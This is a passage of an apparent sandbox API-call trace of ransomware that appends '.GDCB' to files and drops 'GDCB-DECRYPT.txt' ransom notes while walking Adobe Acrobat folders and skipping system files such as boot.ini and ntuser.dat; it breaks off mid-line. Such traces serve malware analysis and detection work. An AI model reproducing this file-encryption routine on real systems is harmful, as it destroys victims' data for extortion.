lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.107] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.107] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.107] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.107] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.107] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.107] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.107] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.107] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.108] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.108] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.108] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.108] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.108] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 176 [0170.108] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 176 [0170.108] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.108] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.108] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.108] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.108] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.108] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.108] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 181 [0170.108] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 181 [0170.108] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.108] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.108] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.108] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.108] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.108] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.109] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 171 [0170.109] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 171 [0170.109] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.109] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.109] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.109] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.109] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.109] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0170.109] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.109] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.109] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.109] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.109] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.109] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.109] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 175 [0170.109] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.109] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.110] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.110] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.110] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.110] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.110] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.110] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.110] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.110] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 191 [0170.110] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.110] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.110] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.110] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.110] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 192 [0170.110] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.111] GetLastError () returned 0x50 [0170.111] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.111] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 175 [0170.111] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.111] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.112] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.112] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.112] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.112] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.112] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.112] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.112] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.112] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.112] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.112] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 191 [0170.112] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 191 [0170.112] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 191 [0170.112] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 191 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.112] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.112] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.112] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.112] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.112] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.112] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.112] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.113] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.113] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 173 [0170.113] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 173 [0170.113] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.113] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.113] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.113] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.113] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.113] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.113] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.113] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.113] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 168 [0170.113] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 168 [0170.113] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 168 [0170.113] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 168 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.113] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.113] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.114] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.114] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.114] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.114] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.114] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.114] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.114] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\" [0170.114] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.114] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.114] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 152 [0170.114] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.114] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4dd8 [0170.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.115] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.115] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.115] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.115] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.115] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.115] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.115] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application 